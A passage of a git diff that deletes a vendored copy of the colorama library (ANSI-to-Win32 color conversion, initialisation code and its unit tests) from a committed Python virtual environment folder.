AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL), - AnsiFore.BLACK: (winterm.fore, WinColor.BLACK), - AnsiFore.RED: (winterm.fore, WinColor.RED), - AnsiFore.GREEN: (winterm.fore, WinColor.GREEN), - AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW), - AnsiFore.BLUE: (winterm.fore, WinColor.BLUE), - AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA), - AnsiFore.CYAN: (winterm.fore, WinColor.CYAN), - AnsiFore.WHITE: (winterm.fore, WinColor.GREY), - AnsiFore.RESET: (winterm.fore, ), - AnsiFore.LIGHTBLACK_EX: (winterm.fore, WinColor.BLACK, True), - AnsiFore.LIGHTRED_EX: (winterm.fore, WinColor.RED, True), - AnsiFore.LIGHTGREEN_EX: (winterm.fore, WinColor.GREEN, True), - AnsiFore.LIGHTYELLOW_EX: (winterm.fore, WinColor.YELLOW, True), - AnsiFore.LIGHTBLUE_EX: (winterm.fore, WinColor.BLUE, True), - AnsiFore.LIGHTMAGENTA_EX: (winterm.fore, WinColor.MAGENTA, True), - AnsiFore.LIGHTCYAN_EX: (winterm.fore, WinColor.CYAN, True), - AnsiFore.LIGHTWHITE_EX: (winterm.fore, WinColor.GREY, True), - AnsiBack.BLACK: (winterm.back, WinColor.BLACK), - AnsiBack.RED: (winterm.back, WinColor.RED), - AnsiBack.GREEN: (winterm.back, WinColor.GREEN), - AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW), - AnsiBack.BLUE: (winterm.back, WinColor.BLUE), - AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA), - AnsiBack.CYAN: (winterm.back, WinColor.CYAN), - AnsiBack.WHITE: (winterm.back, WinColor.GREY), - AnsiBack.RESET: (winterm.back, ), - AnsiBack.LIGHTBLACK_EX: (winterm.back, WinColor.BLACK, True), - AnsiBack.LIGHTRED_EX: (winterm.back, WinColor.RED, True), - AnsiBack.LIGHTGREEN_EX: (winterm.back, WinColor.GREEN, True), - AnsiBack.LIGHTYELLOW_EX: (winterm.back, WinColor.YELLOW, True), - AnsiBack.LIGHTBLUE_EX: (winterm.back, WinColor.BLUE, True), - AnsiBack.LIGHTMAGENTA_EX: (winterm.back, WinColor.MAGENTA, True), - AnsiBack.LIGHTCYAN_EX: (winterm.back, WinColor.CYAN, True), - AnsiBack.LIGHTWHITE_EX: (winterm.back, WinColor.GREY, True), - } - return dict() - - def write(self, text): - if self.strip or self.convert: - self.write_and_convert(text) - else: - self.wrapped.write(text) - self.wrapped.flush() - if self.autoreset: - self.reset_all() - - - def reset_all(self): - if self.convert: - self.call_win32('m', (0,)) - elif not self.strip and not self.stream.closed: - self.wrapped.write(Style.RESET_ALL) - - - def write_and_convert(self, text): - ''' - Write the given text to our wrapped stream, stripping any ANSI - sequences from the text, and optionally converting them into win32 - calls. - ''' - cursor = 0 - text = self.convert_osc(text) - for match in self.ANSI_CSI_RE.finditer(text): - start, end = match.span() - self.write_plain_text(text, cursor, start) - self.convert_ansi(*match.groups()) - cursor = end - self.write_plain_text(text, cursor, len(text)) - - - def write_plain_text(self, text, start, end): - if start < end: - self.wrapped.write(text[start:end]) - self.wrapped.flush() - - - def convert_ansi(self, paramstring, command): - if self.convert: - params = self.extract_params(command, paramstring) - self.call_win32(command, params) - - - def extract_params(self, command, paramstring): - if command in 'Hf': - params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';')) - while len(params) < 2: - # defaults: - params = params + (1,) - else: - params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0) - if len(params) == 0: - # defaults: - if command in 'JKm': - params = (0,) - elif command in 'ABCD': - params = (1,) - - return params - - - def call_win32(self, command, params): - if command == 'm': - for param in params: - if param in self.win32_calls: - func_args = self.win32_calls[param] - func = func_args[0] - args = func_args[1:] - kwargs = dict(on_stderr=self.on_stderr) - func(*args, **kwargs) - elif command in 'J': - winterm.erase_screen(params[0], on_stderr=self.on_stderr) - elif command in 'K': - winterm.erase_line(params[0], on_stderr=self.on_stderr) - elif command in 'Hf': # cursor position - absolute - winterm.set_cursor_position(params, on_stderr=self.on_stderr) - elif command in 'ABCD': # cursor position - relative - n = params[0] - # A - up, B - down, C - forward, D - back - x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command] - winterm.cursor_adjust(x, y, on_stderr=self.on_stderr) - - - def convert_osc(self, text): - for match in self.ANSI_OSC_RE.finditer(text): - start, end = match.span() - text = text[:start] + text[end:] - paramstring, command = match.groups() - if command == BEL: - if paramstring.count(";") == 1: - params = paramstring.split(";") - # 0 - change title and icon (we will only change title) - # 1 - change icon (we don't support this) - # 2 - change title - if params[0] in '02': - winterm.set_title(params[1]) - return text - - - def flush(self): - self.wrapped.flush() diff --git a/venv/Lib/site-packages/colorama/initialise.py b/venv/Lib/site-packages/colorama/initialise.py deleted file mode 100644 index d5fd4b71fed1bb4871717f978f0c470280f099c1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/colorama/initialise.py +++ /dev/null @@ -1,121 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -import atexit -import contextlib -import sys - -from .ansitowin32 import AnsiToWin32 - - -def _wipe_internal_state_for_tests(): - global orig_stdout, orig_stderr - orig_stdout = None - orig_stderr = None - - global wrapped_stdout, wrapped_stderr - wrapped_stdout = None - wrapped_stderr = None - - global atexit_done - atexit_done = False - - global fixed_windows_console - fixed_windows_console = False - - try: - # no-op if it wasn't registered - atexit.unregister(reset_all) - except AttributeError: - # python 2: no atexit.unregister. Oh well, we did our best. - pass - - -def reset_all(): - if AnsiToWin32 is not None: # Issue #74: objects might become None at exit - AnsiToWin32(orig_stdout).reset_all() - - -def init(autoreset=False, convert=None, strip=None, wrap=True): - - if not wrap and any([autoreset, convert, strip]): - raise ValueError('wrap=False conflicts with any other arg=True') - - global wrapped_stdout, wrapped_stderr - global orig_stdout, orig_stderr - - orig_stdout = sys.stdout - orig_stderr = sys.stderr - - if sys.stdout is None: - wrapped_stdout = None - else: - sys.stdout = wrapped_stdout = \ - wrap_stream(orig_stdout, convert, strip, autoreset, wrap) - if sys.stderr is None: - wrapped_stderr = None - else: - sys.stderr = wrapped_stderr = \ - wrap_stream(orig_stderr, convert, strip, autoreset, wrap) - - global atexit_done - if not atexit_done: - atexit.register(reset_all) - atexit_done = True - - -def deinit(): - if orig_stdout is not None: - sys.stdout = orig_stdout - if orig_stderr is not None: - sys.stderr = orig_stderr - - -def just_fix_windows_console(): - global fixed_windows_console - - if sys.platform != "win32": - return - if fixed_windows_console: - return - if wrapped_stdout is not None or wrapped_stderr is not None: - # Someone already ran init() and it did stuff, so we won't second-guess them - return - - # On newer versions of Windows, AnsiToWin32.__init__ will implicitly enable the - # native ANSI support in the console as a side-effect. We only need to actually - # replace sys.stdout/stderr if we're in the old-style conversion mode. - new_stdout = AnsiToWin32(sys.stdout, convert=None, strip=None, autoreset=False) - if new_stdout.convert: - sys.stdout = new_stdout - new_stderr = AnsiToWin32(sys.stderr, convert=None, strip=None, autoreset=False) - if new_stderr.convert: - sys.stderr = new_stderr - - fixed_windows_console = True - -@contextlib.contextmanager -def colorama_text(*args, **kwargs): - init(*args, **kwargs) - try: - yield - finally: - deinit() - - -def reinit(): - if wrapped_stdout is not None: - sys.stdout = wrapped_stdout - if wrapped_stderr is not None: - sys.stderr = wrapped_stderr - - -def wrap_stream(stream, convert, strip, autoreset, wrap): - if wrap: - wrapper = AnsiToWin32(stream, - convert=convert, strip=strip, autoreset=autoreset) - if wrapper.should_wrap(): - stream = wrapper.stream - return stream - - -# Use this for initial setup as well, to reduce code duplication -_wipe_internal_state_for_tests() diff --git a/venv/Lib/site-packages/colorama/tests/__init__.py b/venv/Lib/site-packages/colorama/tests/__init__.py deleted file mode 100644 index 8c5661e93a205bf4fb22404d4fc50f902cc31369..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/colorama/tests/__init__.py +++ /dev/null @@ -1 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. diff --git a/venv/Lib/site-packages/colorama/tests/ansi_test.py b/venv/Lib/site-packages/colorama/tests/ansi_test.py deleted file mode 100644 index 0a20c80f882066e0e1323b0c7f61e22913c32e35..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/colorama/tests/ansi_test.py +++ /dev/null @@ -1,76 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -import sys -from unittest import TestCase, main - -from ..ansi import Back, Fore, Style -from ..ansitowin32 import AnsiToWin32 - -stdout_orig = sys.stdout -stderr_orig = sys.stderr - - -class AnsiTest(TestCase): - - def setUp(self): - # sanity check: stdout should be a file or StringIO object. - # It will only be AnsiToWin32 if init() has previously wrapped it - self.assertNotEqual(type(sys.stdout), AnsiToWin32) - self.assertNotEqual(type(sys.stderr), AnsiToWin32) - - def tearDown(self): - sys.stdout = stdout_orig - sys.stderr = stderr_orig - - - def testForeAttributes(self): - self.assertEqual(Fore.BLACK, '\033[30m') - self.assertEqual(Fore.RED, '\033[31m') - self.assertEqual(Fore.GREEN, '\033[32m') - self.assertEqual(Fore.YELLOW, '\033[33m') - self.assertEqual(Fore.BLUE, '\033[34m') - self.assertEqual(Fore.MAGENTA, '\033[35m') - self.assertEqual(Fore.CYAN, '\033[36m') - self.assertEqual(Fore.WHITE, '\033[37m') - self.assertEqual(Fore.RESET, '\033[39m') - - # Check the light, extended versions. - self.assertEqual(Fore.LIGHTBLACK_EX, '\033[90m') - self.assertEqual(Fore.LIGHTRED_EX, '\033[91m') - self.assertEqual(Fore.LIGHTGREEN_EX, '\033[92m') - self.assertEqual(Fore.LIGHTYELLOW_EX, '\033[93m') - self.assertEqual(Fore.LIGHTBLUE_EX, '\033[94m') - self.assertEqual(Fore.LIGHTMAGENTA_EX, '\033[95m') - self.assertEqual(Fore.LIGHTCYAN_EX, '\033[96m') - self.assertEqual(Fore.LIGHTWHITE_EX, '\033[97m') - - - def testBackAttributes(self): - self.assertEqual(Back.BLACK, '\033[40m') - self.assertEqual(Back.RED, '\033[41m') - self.assertEqual(Back.GREEN, '\033[42m') - self.assertEqual(Back.YELLOW, '\033[43m') - self.assertEqual(Back.BLUE, '\033[44m') - self.assertEqual(Back.MAGENTA, '\033[45m') - self.assertEqual(Back.CYAN, '\033[46m') - self.assertEqual(Back.WHITE, '\033[47m') - self.assertEqual(Back.RESET, '\033[49m') - - # Check the light, extended versions. - self.assertEqual(Back.LIGHTBLACK_EX, '\033[100m') - self.assertEqual(Back.LIGHTRED_EX, '\033[101m') - self.assertEqual(Back.LIGHTGREEN_EX, '\033[102m') - self.assertEqual(Back.LIGHTYELLOW_EX, '\033[103m') - self.assertEqual(Back.LIGHTBLUE_EX, '\033[104m') - self.assertEqual(Back.LIGHTMAGENTA_EX, '\033[105m') - self.assertEqual(Back.LIGHTCYAN_EX, '\033[106m') - self.assertEqual(Back.LIGHTWHITE_EX, '\033[107m') - - - def testStyleAttributes(self): - self.assertEqual(Style.DIM, '\033[2m') - self.assertEqual(Style.NORMAL, '\033[22m') - self.assertEqual(Style.BRIGHT, '\033[1m') - - -if __name__ == '__main__': - main() diff --git a/venv/Lib/site-packages/colorama/tests/ansitowin32_test.py b/venv/Lib/site-packages/colorama/tests/ansitowin32_test.py deleted file mode 100644 index 91ca551f97b4576c680711e826a1855fb944c872..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/colorama/tests/ansitowin32_test.py +++ /dev/null @@ -1,294 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -from io import StringIO, TextIOWrapper -from unittest import TestCase, main -try: - from contextlib import ExitStack -except ImportError: - # python 2 - from contextlib2 import ExitStack - -try: - from unittest.mock import MagicMock, Mock, patch -except ImportError: - from mock import MagicMock, Mock, patch - -from ..ansitowin32 import AnsiToWin32, StreamWrapper -from ..win32 import ENABLE_VIRTUAL_TERMINAL_PROCESSING -from .utils import osname - - -class StreamWrapperTest(TestCase): - - def testIsAProxy(self): - mockStream = Mock() - wrapper = StreamWrapper(mockStream, None) - self.assertTrue( wrapper.random_attr is mockStream.random_attr ) - - def testDelegatesWrite(self): - mockStream = Mock() - mockConverter = Mock() - wrapper = StreamWrapper(mockStream, mockConverter) - wrapper.write('hello') - self.assertTrue(mockConverter.write.call_args, (('hello',), {})) - - def testDelegatesContext(self): - mockConverter = Mock() - s = StringIO() - with StreamWrapper(s, mockConverter) as fp: - fp.write(u'hello') - self.assertTrue(s.closed) - - def testProxyNoContextManager(self): - mockStream = MagicMock() - mockStream.__enter__.side_effect = AttributeError() - mockConverter = Mock() - with self.assertRaises(AttributeError) as excinfo: - with StreamWrapper(mockStream, mockConverter) as wrapper: - wrapper.write('hello') - - def test_closed_shouldnt_raise_on_closed_stream(self): - stream = StringIO() - stream.close() - wrapper = StreamWrapper(stream, None) - self.assertEqual(wrapper.closed, True) - - def test_closed_shouldnt_raise_on_detached_stream(self): - stream = TextIOWrapper(StringIO()) - stream.detach() - wrapper = StreamWrapper(stream, None) - self.assertEqual(wrapper.closed, True) - -class AnsiToWin32Test(TestCase): - - def testInit(self): - mockStdout = Mock() - auto = Mock() - stream = AnsiToWin32(mockStdout, autoreset=auto) - self.assertEqual(stream.wrapped, mockStdout) - self.assertEqual(stream.autoreset, auto) - - @patch('colorama.ansitowin32.winterm', None) - @patch('colorama.ansitowin32.winapi_test', lambda *_: True) - def testStripIsTrueOnWindows(self): - with osname('nt'): - mockStdout = Mock() - stream = AnsiToWin32(mockStdout) - self.assertTrue(stream.strip) - - def testStripIsFalseOffWindows(self): - with osname('posix'): - mockStdout = Mock(closed=False) - stream = AnsiToWin32(mockStdout) - self.assertFalse(stream.strip) - - def testWriteStripsAnsi(self): - mockStdout = Mock() - stream = AnsiToWin32(mockStdout) - stream.wrapped = Mock() - stream.write_and_convert = Mock() - stream.strip = True - - stream.write('abc') - - self.assertFalse(stream.wrapped.write.called) - self.assertEqual(stream.write_and_convert.call_args, (('abc',), {})) - - def testWriteDoesNotStripAnsi(self): - mockStdout = Mock() - stream = AnsiToWin32(mockStdout) - stream.wrapped = Mock() - stream.write_and_convert = Mock() - stream.strip = False - stream.convert = False - - stream.write('abc') - - self.assertFalse(stream.write_and_convert.called) - self.assertEqual(stream.wrapped.write.call_args, (('abc',), {})) - - def assert_autoresets(self, convert, autoreset=True): - stream = AnsiToWin32(Mock()) - stream.convert = convert - stream.reset_all = Mock() - stream.autoreset = autoreset - stream.winterm = Mock() - - stream.write('abc') - - self.assertEqual(stream.reset_all.called, autoreset) - - def testWriteAutoresets(self): - self.assert_autoresets(convert=True) - self.assert_autoresets(convert=False) - self.assert_autoresets(convert=True, autoreset=False) - self.assert_autoresets(convert=False, autoreset=False) - - def testWriteAndConvertWritesPlainText(self): - stream = AnsiToWin32(Mock()) - stream.write_and_convert( 'abc' ) - self.assertEqual( stream.wrapped.write.call_args, (('abc',), {}) ) - - def testWriteAndConvertStripsAllValidAnsi(self): - stream = AnsiToWin32(Mock()) - stream.call_win32 = Mock() - data = [ - 'abc\033[mdef', - 'abc\033[0mdef', - 'abc\033[2mdef', - 'abc\033[02mdef', - 'abc\033[002mdef', - 'abc\033[40mdef', - 'abc\033[040mdef', - 'abc\033[0;1mdef', - 'abc\033[40;50mdef', - 'abc\033[50;30;40mdef', - 'abc\033[Adef', - 'abc\033[0Gdef', - 'abc\033[1;20;128Hdef', - ] - for datum in data: - stream.wrapped.write.reset_mock() - stream.write_and_convert( datum ) - self.assertEqual( - [args[0] for args in stream.wrapped.write.call_args_list], - [ ('abc',), ('def',) ] - ) - - def testWriteAndConvertSkipsEmptySnippets(self): - stream = AnsiToWin32(Mock()) - stream.call_win32 = Mock() - stream.write_and_convert( '\033[40m\033[41m' ) - self.assertFalse( stream.wrapped.write.called ) - - def testWriteAndConvertCallsWin32WithParamsAndCommand(self): - stream = AnsiToWin32(Mock()) - stream.convert = True - stream.call_win32 = Mock() - stream.extract_params = Mock(return_value='params') - data = { - 'abc\033[adef': ('a', 'params'), - 'abc\033[;;bdef': ('b', 'params'), - 'abc\033[0cdef': ('c', 'params'), - 'abc\033[;;0;;Gdef': ('G', 'params'), - 'abc\033[1;20;128Hdef': ('H', 'params'), - } - for datum, expected in data.items(): - stream.call_win32.reset_mock() - stream.write_and_convert( datum ) - self.assertEqual( stream.call_win32.call_args[0], expected ) - - def test_reset_all_shouldnt_raise_on_closed_orig_stdout(self): - stream = StringIO() - converter = AnsiToWin32(stream) - stream.close() - - converter.reset_all() - - def test_wrap_shouldnt_raise_on_closed_orig_stdout(self): - stream = StringIO() - stream.close() - with \ - patch("colorama.ansitowin32.os.name", "nt"), \ - patch("colorama.ansitowin32.winapi_test", lambda: True): - converter = AnsiToWin32(stream) - self.assertTrue(converter.strip) - self.assertFalse(converter.convert) - - def test_wrap_shouldnt_raise_on_missing_closed_attr(self): - with \ - patch("colorama.ansitowin32.os.name", "nt"), \ - patch("colorama.ansitowin32.winapi_test", lambda: True): - converter = AnsiToWin32(object()) - self.assertTrue(converter.strip) - self.assertFalse(converter.convert) - - def testExtractParams(self): - stream = AnsiToWin32(Mock()) - data = { - '': (0,), - ';;': (0,), - '2': (2,), - ';;002;;': (2,), - '0;1': (0, 1), - ';;003;;456;;': (3, 456), - '11;22;33;44;55': (11, 22, 33, 44, 55), - } - for datum, expected in data.items(): - self.assertEqual(stream.extract_params('m', datum), expected) - - def testCallWin32UsesLookup(self): - listener = Mock() - stream = AnsiToWin32(listener) - stream.win32_calls = { - 1: (lambda *_, **__: listener(11),), - 2: (lambda *_, **__: listener(22),), - 3: (lambda *_, **__: listener(33),), - } - stream.call_win32('m', (3, 1, 99, 2)) - self.assertEqual( - [a[0][0] for a in listener.call_args_list], - [33, 11, 22] ) - - def test_osc_codes(self): - mockStdout = Mock() - stream = AnsiToWin32(mockStdout, convert=True) - with patch('colorama.ansitowin32.winterm') as winterm: - data = [ - '\033]0\x07', # missing arguments - '\033]0;foo\x08', # wrong OSC command - '\033]0;colorama_test_title\x07', # should work - '\033]1;colorama_test_title\x07', # wrong set command - '\033]2;colorama_test_title\x07', # should work - '\033]' + ';' * 64 + '\x08', # see issue #247 - ] - for code in data: - stream.write(code) - self.assertEqual(winterm.set_title.call_count, 2) - - def test_native_windows_ansi(self): - with ExitStack() as stack: - def p(a, b): - stack.enter_context(patch(a, b, create=True)) - # Pretend to be on Windows - p("colorama.ansitowin32.os.name", "nt") - p("colorama.ansitowin32.winapi_test", lambda: True) - p("colorama.win32.winapi_test", lambda: True) - p("colorama.winterm.win32.windll", "non-None") - p("colorama.winterm.get_osfhandle", lambda _: 1234) - - # Pretend that our mock stream has native ANSI support - p( - "colorama.winterm.win32.GetConsoleMode", - lambda _: ENABLE_VIRTUAL_TERMINAL_PROCESSING, - ) - SetConsoleMode = Mock() - p("colorama.winterm.win32.SetConsoleMode", SetConsoleMode) - - stdout = Mock() - stdout.closed = False - stdout.isatty.return_value = True - stdout.fileno.return_value = 1 - - # Our fake console says it has native vt support, so AnsiToWin32 should - # enable that support and do nothing else. - stream = AnsiToWin32(stdout) - SetConsoleMode.assert_called_with(1234, ENABLE_VIRTUAL_TERMINAL_PROCESSING) - self.assertFalse(stream.strip) - self.assertFalse(stream.convert) - self.assertFalse(stream.should_wrap()) - - # Now let's pretend we're on an old Windows console, that doesn't have - # native ANSI support. - p("colorama.winterm.win32.GetConsoleMode", lambda _: 0) - SetConsoleMode = Mock() - p("colorama.winterm.win32.SetConsoleMode", SetConsoleMode) - - stream = AnsiToWin32(stdout) - SetConsoleMode.assert_called_with(1234, ENABLE_VIRTUAL_TERMINAL_PROCESSING) - self.assertTrue(stream.strip) - self.assertTrue(stream.convert) - self.assertTrue(stream.should_wrap()) - - -if __name__ == '__main__': - main() diff --git a/venv/Lib/site-packages/colorama/tests/initialise_test.py b/venv/Lib/site-packages/colorama/tests/initialise_test.py deleted file mode 100644 index 89f9b07511c8fee74686d9cc434bf66345a46d6d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/colorama/tests/initialise_test.py +++ /dev/null @@ -1,189 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -import sys -from unittest import TestCase, main, skipUnless - -try: - from unittest.mock import patch, Mock -except ImportError: - from mock import patch, Mock - -from ..ansitowin32 import StreamWrapper -from ..initialise import init, just_fix_windows_console, _wipe_internal_state_for_tests -from .utils import osname, replace_by - -orig_stdout = sys.stdout -orig_stderr = sys.stderr - - -class InitTest(TestCase): - - @skipUnless(sys.stdout.isatty(), "sys.stdout is not a tty") - def setUp(self): - # sanity check - self.assertNotWrapped() - - def tearDown(self): - _wipe_internal_state_for_tests() - sys.stdout = orig_stdout - sys.stderr = orig_stderr - - def assertWrapped(self): - self.assertIsNot(sys.stdout, orig_stdout, 'stdout should be wrapped') - self.assertIsNot(sys.stderr, orig_stderr, 'stderr should be wrapped') - self.assertTrue(isinstance(sys.stdout, StreamWrapper), - 'bad stdout wrapper') - self.assertTrue(isinstance(sys.stderr, StreamWrapper), - 'bad stderr wrapper') - - def assertNotWrapped(self): - self.assertIs(sys.stdout, orig_stdout, 'stdout should not be wrapped') - self.assertIs(sys.stderr, orig_stderr, 'stderr should not be wrapped') - - @patch('colorama.initialise.reset_all') - @patch('colorama.ansitowin32.winapi_test', lambda *_: True) - @patch('colorama.ansitowin32.enable_vt_processing', lambda *_: False) - def testInitWrapsOnWindows(self, _): - with osname("nt"): - init() - self.assertWrapped() - - @patch('colorama.initialise.reset_all') - @patch('colorama.ansitowin32.winapi_test', lambda *_: False) - def testInitDoesntWrapOnEmulatedWindows(self, _): - with osname("nt"): - init() - self.assertNotWrapped() - - def testInitDoesntWrapOnNonWindows(self): - with osname("posix"): - init() - self.assertNotWrapped() - - def testInitDoesntWrapIfNone(self): - with replace_by(None): - init() - # We can't use assertNotWrapped here because replace_by(None) - # changes stdout/stderr already. - self.assertIsNone(sys.stdout) - self.assertIsNone(sys.stderr) - - def testInitAutoresetOnWrapsOnAllPlatforms(self): - with osname("posix"): - init(autoreset=True) - self.assertWrapped() - - def testInitWrapOffDoesntWrapOnWindows(self): - with osname("nt"): - init(wrap=False) - self.assertNotWrapped() - - def testInitWrapOffIncompatibleWithAutoresetOn(self): - self.assertRaises(ValueError, lambda: init(autoreset=True, wrap=False)) - - @patch('colorama.win32.SetConsoleTextAttribute') - @patch('colorama.initialise.AnsiToWin32') - def testAutoResetPassedOn(self, mockATW32, _): - with osname("nt"): - init(autoreset=True) - self.assertEqual(len(mockATW32.call_args_list), 2) - self.assertEqual(mockATW32.call_args_list[1][1]['autoreset'], True) - self.assertEqual(mockATW32.call_args_list[0][1]['autoreset'], True) - - @patch('colorama.initialise.AnsiToWin32') - def testAutoResetChangeable(self, mockATW32): - with osname("nt"): - init() - - init(autoreset=True) - self.assertEqual(len(mockATW32.call_args_list), 4) - self.assertEqual(mockATW32.call_args_list[2][1]['autoreset'], True) - self.assertEqual(mockATW32.call_args_list[3][1]['autoreset'], True) - - init() - self.assertEqual(len(mockATW32.call_args_list), 6) - self.assertEqual( - mockATW32.call_args_list[4][1]['autoreset'], False) - self.assertEqual( - mockATW32.call_args_list[5][1]['autoreset'], False) - - - @patch('colorama.initialise.atexit.register') - def testAtexitRegisteredOnlyOnce(self, mockRegister): - init() - self.assertTrue(mockRegister.called) - mockRegister.reset_mock() - init() - self.assertFalse(mockRegister.called) - - -class JustFixWindowsConsoleTest(TestCase): - def _reset(self): - _wipe_internal_state_for_tests() - sys.stdout = orig_stdout - sys.stderr = orig_stderr - - def tearDown(self): - self._reset() - - @patch("colorama.ansitowin32.winapi_test", lambda: True) - def testJustFixWindowsConsole(self): - if sys.platform != "win32": - # just_fix_windows_console should be a no-op - just_fix_windows_console() - self.assertIs(sys.stdout, orig_stdout) - self.assertIs(sys.stderr, orig_stderr) - else: - def fake_std(): - # Emulate stdout=not a tty, stderr=tty - # to check that we handle both cases correctly - stdout = Mock() - stdout.closed = False - stdout.isatty.return_value = False - stdout.fileno.return_value = 1 - sys.stdout = stdout - - stderr = Mock() - stderr.closed = False - stderr.isatty.return_value = True - stderr.fileno.return_value = 2 - sys.stderr = stderr - - for native_ansi in [False, True]: - with patch( - 'colorama.ansitowin32.enable_vt_processing', - lambda *_: native_ansi - ): - self._reset() - fake_std() - - # Regular single-call test - prev_stdout = sys.stdout - prev_stderr = sys.stderr - just_fix_windows_console() - self.assertIs(sys.stdout, prev_stdout) - if native_ansi: - self.assertIs(sys.stderr, prev_stderr) - else: - self.assertIsNot(sys.stderr, prev_stderr) - - # second call without resetting is always a no-op - prev_stdout = sys.stdout - prev_stderr = sys.stderr - just_fix_windows_console() - self.assertIs(sys.stdout, prev_stdout) - self.assertIs(sys.stderr, prev_stderr) - - self._reset() - fake_std() - - # If init() runs first, just_fix_windows_console should be a no-op - init() - prev_stdout = sys.stdout - prev_stderr = sys.stderr - just_fix_windows_console() - self.assertIs(prev_stdout, sys.stdout) - self.assertIs(prev_stderr, sys.stderr) - - -if __name__ == '__main__': - main() diff --git a/venv/Lib/site-packages/colorama/tests/isatty_test.py b/venv/Lib/site-packages/colorama/tests/isatty_test.py deleted file mode 100644 index 0f84e4befe550d4386d24264648abf1323e682ff..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/colorama/tests/isatty_test.py +++ /dev/null @@ -1,57 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -import sys -from unittest import TestCase, main - -from ..ansitowin32 import StreamWrapper, AnsiToWin32 -from .utils import pycharm, replace_by, replace_original_by, StreamTTY, StreamNonTTY - - -def is_a_tty(stream): - return StreamWrapper(stream, None).isatty() - -class IsattyTest(TestCase): - - def test_TTY(self): - tty = StreamTTY() - self.assertTrue(is_a_tty(tty)) - with pycharm(): - self.assertTrue(is_a_tty(tty)) - - def test_nonTTY(self): - non_tty = StreamNonTTY() - self.assertFalse(is_a_tty(non_tty)) - with pycharm(): - self.assertFalse(is_a_tty(non_tty)) - - def test_withPycharm(self): - with pycharm(): - self.assertTrue(is_a_tty(sys.stderr)) - self.assertTrue(is_a_tty(sys.stdout)) - - def test_withPycharmTTYOverride(self): - tty = StreamTTY() - with pycharm(), replace_by(tty): - self.assertTrue(is_a_tty(tty)) - - def test_withPycharmNonTTYOverride(self): - non_tty = StreamNonTTY() - with pycharm(), replace_by(non_tty): - self.assertFalse(is_a_tty(non_tty)) - - def test_withPycharmNoneOverride(self): - with pycharm(): - with replace_by(None), replace_original_by(None): - self.assertFalse(is_a_tty(None)) - self.assertFalse(is_a_tty(StreamNonTTY())) - self.assertTrue(is_a_tty(StreamTTY())) - - def test_withPycharmStreamWrapped(self): - with pycharm(): - self.assertTrue(AnsiToWin32(StreamTTY()).stream.isatty()) - self.assertFalse(AnsiToWin32(StreamNonTTY()).stream.isatty()) - self.assertTrue(AnsiToWin32(sys.stdout).stream.isatty()) - self.assertTrue(AnsiToWin32(sys.stderr).stream.isatty()) - - -if __name__ == '__main__': - main() diff --git a/venv/Lib/site-packages/colorama/tests/utils.py b/venv/Lib/site-packages/colorama/tests/utils.py deleted file mode 100644 index 472fafb4403efb9673d5cc724dafd9cf764aac5b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/colorama/tests/utils.py +++ /dev/null @@ -1,49 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -from contextlib import contextmanager -from io import StringIO -import sys -import os - - -class StreamTTY(StringIO): - def isatty(self): - return True - -class StreamNonTTY(StringIO): - def isatty(self): - return False - -@contextmanager -def osname(name): - orig = os.name - os.name = name - yield - os.name = orig - -@contextmanager -def replace_by(stream): - orig_stdout = sys.stdout - orig_stderr = sys.stderr - sys.stdout = stream - sys.stderr = stream - yield - sys.stdout = orig_stdout - sys.stderr = orig_stderr - -@contextmanager -def replace_original_by(stream): - orig_stdout = sys.__stdout__ - orig_stderr = sys.__stderr__ - sys.__stdout__ = stream - sys.__stderr__ = stream - yield - sys.__stdout__ = orig_stdout - sys.__stderr__ = orig_stderr - -@contextmanager -def pycharm(): - os.environ["PYCHARM_HOSTED"] = "1" - non_tty = StreamNonTTY() - with replace_by(non_tty), replace_original_by(non_tty): - yield - del os.environ["PYCHARM_HOSTED"] diff --git a/venv/Lib/site-packages/colorama/tests/winterm_test.py b/venv/Lib/site-packages/colorama/tests/winterm_test.py deleted file mode 100644 index d0955f9e608377940f0d548576964f2fcf3caf48..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/colorama/tests/winterm_test.py +++ /dev/null @@ -1,131 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -import sys -from unittest import TestCase, main, skipUnless - -try: - from unittest.mock import Mock, patch -except ImportError: - from mock import Mock, patch - -from ..winterm import WinColor, WinStyle, WinTerm - - -class WinTermTest(TestCase): - - @patch('colorama.winterm.win32') - def testInit(self, mockWin32): - mockAttr = Mock() - mockAttr.wAttributes = 7 + 6 * 16 + 8 - mockWin32.GetConsoleScreenBufferInfo.return_value = mockAttr - term = WinTerm() - self.assertEqual(term._fore, 7) - self.assertEqual(term._back, 6) - self.assertEqual(term._style, 8) - - @skipUnless(sys.platform.startswith("win"), "requires Windows") - def testGetAttrs(self): - term = WinTerm() - - term._fore = 0 - term._back = 0 - term._style = 0 - self.assertEqual(term.get_attrs(), 0) - - term._fore = WinColor.YELLOW - self.assertEqual(term.get_attrs(), WinColor.YELLOW) - - term._back = WinColor.MAGENTA - self.assertEqual( - term.get_attrs(), - WinColor.YELLOW + WinColor.MAGENTA * 16) - - term._style = WinStyle.BRIGHT - self.assertEqual( - 